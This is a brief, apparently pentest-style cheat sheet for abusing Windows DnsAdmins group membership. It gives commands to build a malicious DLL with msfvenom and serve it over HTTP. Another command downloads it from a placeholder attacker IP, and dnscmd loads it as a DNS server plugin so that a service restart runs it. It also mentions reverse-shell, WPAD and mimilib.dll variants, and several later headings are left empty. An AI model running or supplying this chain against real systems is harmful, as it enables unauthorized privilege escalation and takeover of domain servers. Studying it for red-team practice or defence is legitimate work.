dnsadmins
Approach to Exploiting DnsAdmins
1. Generate a Malicious DLL
msfvenom -p windows/x64/exec cmd='<command>' -f dll -o <dll_name>.dll2. Host DLL on an HTTP Server
python3 -m http.server <port>3. Transfer DLL to Target Machine
wget "http://<attacker_ip>:<port>/<dll_name>.dll" -outfile "<dll_name>.dll"4. Verify Membership in DnsAdmins Group
Get-ADGroupMember -Identity DnsAdmins5. Load Custom DLL into DNS Server Configuration
dnscmd.exe /config /serverlevelplugindll <dll_path>6. Check Permissions on DNS Service
wmic useraccount where name="<user>" get sidsc.exe sdshow DNS7. Restart DNS Service to Trigger Payload Execution
8. Verify Exploitation
9. Cleanup (if needed)
10. Alternative Exploit - WPAD Attack
Commands Used:
PowerShell Cmdlets:
Using Mimilib.dll
Following attacks can be performed:
Leverage DNSAdmins Access:
Attack:1 - Reverse shell attack or admin access
ATTACK:2 - Command execution attack - mimilib.dll
Last updated